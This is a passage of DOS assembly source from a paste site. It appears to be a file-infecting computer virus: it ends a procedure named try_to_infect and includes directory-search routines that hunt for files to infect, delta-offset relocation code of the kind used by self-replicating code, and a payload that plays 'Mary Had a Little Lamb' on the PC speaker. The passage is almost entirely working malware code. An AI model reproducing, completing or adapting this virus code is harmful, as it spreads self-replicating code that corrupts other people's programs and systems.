  1643.     mov [si+2],dx  
  1644.  
  1645.  
  1646.  
  1647.     mov si,offset buffer.save_push
  1648.  
  1649.     sub si,adjust
  1650.  
  1651.     add si,bx
  1652.  
  1653.     mov ax,[si]
  1654.  
  1655.     mov word ptr [si-2],ax
  1656.  
  1657.    
  1658.  
  1659.     mov si,offset buffer.ss_old
  1660.  
  1661.     sub si,adjust
  1662.  
  1663.     add si,bx
  1664.  
  1665.     mov ax,[si]
  1666.  
  1667.     mov si,offset buffer.SS_save
  1668.  
  1669.     sub si,adjust
  1670.  
  1671.     add si,bx
  1672.  
  1673.     mov word ptr [si],ax
  1674.  
  1675.        
  1676.  
  1677.        
  1678.  
  1679. append_ok:
  1680.  
  1681.     mov si,offset buffer.help_flag
  1682.  
  1683.     sub si,adjust
  1684.  
  1685.     add si,bx
  1686.  
  1687.     mov ax,[si]
  1688.  
  1689.     add     si,2
  1690.  
  1691.     mov [si],ax         ;This code effectively moves
  1692.  
  1693.                     ;help_flag into where_from_flag
  1694.  
  1695.  
  1696.  
  1697.        
  1698.  
  1699.     jmp close_error         ;
  1700.  
  1701.    
  1702.  
  1703. error_exit:
  1704.  
  1705.     mov si,offset buffer.pointer3
  1706.  
  1707.     sub si,adjust
  1708.  
  1709.     add si,bx
  1710.  
  1711.     mov dx,[si]         ;Restore original DTA
  1712.  
  1713.     add si,2
  1714.  
  1715.     mov ax,[si]
  1716.  
  1717.     push    ds
  1718.  
  1719.     mov ds,ax
  1720.  
  1721.     mov ax,1a00h        ;Set DTA function call
  1722.  
  1723.     int 21h
  1724.  
  1725.     pop ds
  1726.  
  1727.     pop di
  1728.  
  1729.     pop si
  1730.  
  1731.     pop dx
  1732.  
  1733.     pop cx
  1734.  
  1735.     pop bx
  1736.  
  1737.     pop ax
  1738.  
  1739.     ret    
  1740.  
  1741.    
  1742.  
  1743. try_to_infect   ENDP
  1744.  
  1745.                                
  1746.  
  1747. transfer_filespec   PROC
  1748.  
  1749.  
  1750.  
  1751.     push    si
  1752.  
  1753.     mov si,offset buffer.filematch  ;Transfer name to the working
  1754.  
  1755.                         ;area
  1756.  
  1757.     sub si,adjust
  1758.  
  1759.     add si,bx
  1760.  
  1761.     call    byte_move
  1762.  
  1763.     pop si
  1764.  
  1765.     ret
  1766.  
  1767.  
  1768.  
  1769. transfer_filespec   ENDP
  1770.  
  1771.  
  1772.  
  1773. search_all  PROC
  1774.  
  1775.  
  1776.  
  1777.     push    si
  1778.  
  1779.     mov si,offset buffer.matchall   ;This is the '*.*' filename
  1780.  
  1781.     sub si,adjust
  1782.  
  1783.     add si,bx
  1784.  
  1785.     call    byte_move
  1786.  
  1787.     pop si
  1788.  
  1789.     ret
  1790.  
  1791.    
  1792.  
  1793. search_all  ENDP
  1794.  
  1795.    
  1796.  
  1797. byte_move   PROC
  1798.  
  1799.  
  1800.  
  1801.     push    ax
  1802.  
  1803.     push    di
  1804.  
  1805.  
  1806.  
  1807.     cld
  1808.  
  1809.  
  1810.  
  1811. move_loop:
  1812.  
  1813.     lodsb  
  1814.  
  1815.     stosb  
  1816.  
  1817.     or  al,al               ;The string to move is ASCIIZ
  1818.  
  1819.     jne move_loop
  1820.  
  1821.     pop di
  1822.  
  1823.     pop ax
  1824.  
  1825.     ret
  1826.  
  1827.    
  1828.  
  1829. byte_move   ENDP
  1830.  
  1831.    
  1832.  
  1833. find_first  PROC
  1834.  
  1835.  
  1836.  
  1837.     push    cx
  1838.  
  1839.     push    bx
  1840.  
  1841.     cmp dx,0000h
  1842.  
  1843.     jnbe    over_set
  1844.  
  1845.     mov dx,offset buffer.buffer2        ;Set Data Transfer Area
  1846.  
  1847.     sub dx,adjust               ;or Disk Transfer area
  1848.  
  1849.     add dx,bx                   ;
  1850.  
  1851. over_set:
  1852.  
  1853.     add dx,02Bh
  1854.  
  1855.     mov cx,00010h               ;Attribute byte for
  1856.  
  1857.                             ;directory search
  1858.  
  1859.     mov ah,01ah
  1860.  
  1861.     int 021h                    ;Set DTA function call
  1862.  
  1863.    
  1864.  
  1865.     pop bx
  1866.  
  1867.     push    bx
  1868.  
  1869.     push    dx
  1870.  
  1871.     mov dx,offset buffer.buffer1
  1872.  
  1873.     sub dx,adjust
  1874.  
  1875.     add dx,bx
  1876.  
  1877.     mov ah,04eh             ;find first
  1878.  
  1879.                         ;function call
  1880.  
  1881.     int 021h
  1882.  
  1883.     pop dx
  1884.  
  1885.     pop bx
  1886.  
  1887.     pop cx
  1888.  
  1889.     ret
  1890.  
  1891.    
  1892.  
  1893. find_first  ENDP
  1894.  
  1895.    
  1896.  
  1897. find_next   PROC
  1898.  
  1899.  
  1900.  
  1901.     push    cx
  1902.  
  1903.     push    bx
  1904.  
  1905.     push    dx
  1906.  
  1907.     mov dx,offset buffer.buffer1
  1908.  
  1909.     sub dx,adjust
  1910.  
  1911.     add dx,bx
  1912.  
  1913.     mov cx,00010h
  1914.  
  1915.     mov ah,04fh             ;Find next function call
  1916.  
  1917.     int 021h
  1918.  
  1919.     pop dx
  1920.  
  1921.     pop bx
  1922.  
  1923.     pop cx
  1924.  
  1925.     ret
  1926.  
  1927.  
  1928.  
  1929. find_next   ENDP
  1930.  
  1931.  
  1932.  
  1933. delay   PROC
  1934.  
  1935.  
  1936.  
  1937.     push    ax
  1938.  
  1939.     push    bx
  1940.  
  1941.     push    cx
  1942.  
  1943.     push    dx
  1944.  
  1945.     mov ah,2ch          ;Read current time
  1946.  
  1947.     int 21h
  1948.  
  1949.    
  1950.  
  1951.     mov ah,ch
  1952.  
  1953.     add al,cl
  1954.  
  1955.     add bh,dh
  1956.  
  1957.     add bl,dl
  1958.  
  1959.    
  1960.  
  1961.     cmp bl,100
  1962.  
  1963.     jb  secs
  1964.  
  1965.     sub bl,100
  1966.  
  1967.     inc bh
  1968.  
  1969. secs:   cmp bh,60
  1970.  
  1971.     jb  mins
  1972.  
  1973.     sub bh,60
  1974.  
  1975.     inc al
  1976.  
  1977. mins:   cmp al,60
  1978.  
  1979.     jb  hours
  1980.  
  1981.     sub al,60
  1982.  
  1983.     inc ah
  1984.  
  1985. hours:  cmp ah,24
  1986.  
  1987.     jne tcheck
  1988.  
  1989.     sub ah,ah
  1990.  
  1991.    
  1992.  
  1993. tcheck: push    ax
  1994.  
  1995.     mov ah,2ch
  1996.  
  1997.     int 21h
  1998.  
  1999.    
  2000.  
  2001.     pop ax
  2002.  
  2003.     cmp cx,ax
  2004.  
  2005.     ja  tdquit
  2006.  
  2007.     jb  tcheck
  2008.  
  2009.     cmp dx,bx
  2010.  
  2011.     jb  tcheck
  2012.  
  2013.    
  2014.  
  2015. tdquit: pop dx
  2016.  
  2017.     pop cx
  2018.  
  2019.     pop bx
  2020.  
  2021.     pop ax
  2022.  
  2023.     ret
  2024.  
  2025.    
  2026.  
  2027. delay   ENDP                       
  2028.  
  2029.  
  2030.  
  2031. sound   PROC
  2032.  
  2033.  
  2034.  
  2035.     push    ax
  2036.  
  2037.     push    cx
  2038.  
  2039.     push    dx
  2040.  
  2041.     push    di
  2042.  
  2043.    
  2044.  
  2045.     mov al,0b6h
  2046.  
  2047.     out 43h,al
  2048.  
  2049.     mov dx,14h
  2050.  
  2051.     mov ax,533h*896
  2052.  
  2053.     div di
  2054.  
  2055.     out 42h,al
  2056.  
  2057.     mov al,ah
  2058.  
  2059.     out 42h,al
  2060.  
  2061.     in  al,61h
  2062.  
  2063.     mov ah,al
  2064.  
  2065.     or  al,3
  2066.  
  2067.     out 61h,al
  2068.  
  2069.     mov al,cl
  2070.  
  2071.     call    delay
  2072.  
  2073.     mov al,ah
  2074.  
  2075.     out 61h,al
  2076.  
  2077.     pop di
  2078.  
  2079.     pop dx
  2080.  
  2081.     pop cx
  2082.  
  2083.     pop ax
  2084.  
  2085.     ret
  2086.  
  2087.    
  2088.  
  2089. sound   ENDP
  2090.  
  2091.  
  2092.  
  2093. music_play  PROC
  2094.  
  2095.  
  2096.  
  2097.     push    bx
  2098.  
  2099.     push    cx
  2100.  
  2101.     push    di
  2102.  
  2103.     push    si
  2104.  
  2105.     push    bp
  2106.  
  2107.  
  2108.  
  2109. freq:
  2110.  
  2111.  
  2112.  
  2113.     mov di,[si]
  2114.  
  2115.     cmp di,0ffffh
  2116.  
  2117.     je  end_play
  2118.  
  2119.     mov bl,ds:[bp]
  2120.  
  2121.     sub cl,cl
  2122.  
  2123.     sub bh,bh
  2124.  
  2125.     call    sound
  2126.  
  2127.     add si,2
  2128.  
  2129.     inc bp
  2130.  
  2131.     jnz freq
  2132.  
  2133.    
  2134.  
  2135. end_play:
  2136.  
  2137.     pop bp
  2138.  
  2139.     pop si
  2140.  
  2141.     pop di
  2142.  
  2143.     pop cx
  2144.  
  2145.     pop bx
  2146.  
  2147.     ret
  2148.  
  2149.    
  2150.  
  2151. music_play  ENDP
  2152.  
  2153.  
  2154.  
  2155. mary_proc   PROC
  2156.  
  2157.  
  2158.  
  2159.     push    bx
  2160.  
  2161.     push    bp
  2162.  
  2163.    
  2164.  
  2165.     mov si,offset mary_freq
  2166.  
  2167.     mov bp,offset mary_time
  2168.  
  2169.     sub si,adjust
  2170.  
  2171.     sub bp,adjust
  2172.  
  2173.     add si,bx
  2174.  
  2175.     add bp,bx
  2176.  
  2177.     call    music_play
  2178.  
  2179.    
  2180.  
  2181.     pop bp
  2182.  
  2183.     pop bx
  2184.  
  2185.     ret
  2186.  
  2187.  
  2188.  
  2189. mary_proc   ENDP
  2190.  
  2191.  
  2192.  
  2193. mary_freq   dw  262,262,293,329,262,329,293,196
  2194.  
  2195.         dw  262,262,293,329,262,262
  2196.  
  2197.         dw  262,262,293,329,349,329,293,262
  2198.  
  2199.         dw  246,196,220,246,262,262
  2200.  
  2201.         dw  220,246,220,174,220,246,262,220
  2202.  
  2203.         dw  196,220,196,174,164,174,196
  2204.  
  2205.         dw  220,246,220,174,220,246,262,220
  2206.  
  2207.         dw  196,262,246,293,262,262,0ffffh
  2208.  
  2209.  
  2210.  
  2211.        
  2212.  
  2213. mary_time   db  8 dup(25)
  2214.  
  2215.         db  4 dup(25), 50, 50
  2216.  
  2217.         db  8 dup(25)
  2218.  
  2219.         db  4 dup(25), 50, 50
  2220.  
  2221.         db  26, 25, 26, 5 dup(25)
  2222.  
  2223.         db  26, 25, 26, 3 dup(25), 30
  2224.  
  2225.         db  26, 25, 26, 4 dup(25), 30
  2226.  
  2227.         db  4 dup(25), 50, 50
  2228.  
  2229.  
  2230.  
  2231.    
  2232.  
  2233.  
  2234.  
  2235. setup_data:
  2236.  
  2237.     cli
  2238.  
  2239.     pop bx          ;This will catch instruction pointer
  2240.  
  2241.     push    bx 
  2242.  
  2243.     sti             ;value and after that restore stack
  2244.  
  2245.     ret             ;pointer value     
  2246.  
  2247.  
  2248.  
  2249.  
  2250.  
  2251. buffer  data_area   <>      ;Reseve data_area space    
  2252.  
  2253.  
  2254.  
  2255.  
  2256.  
  2257.     END     start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement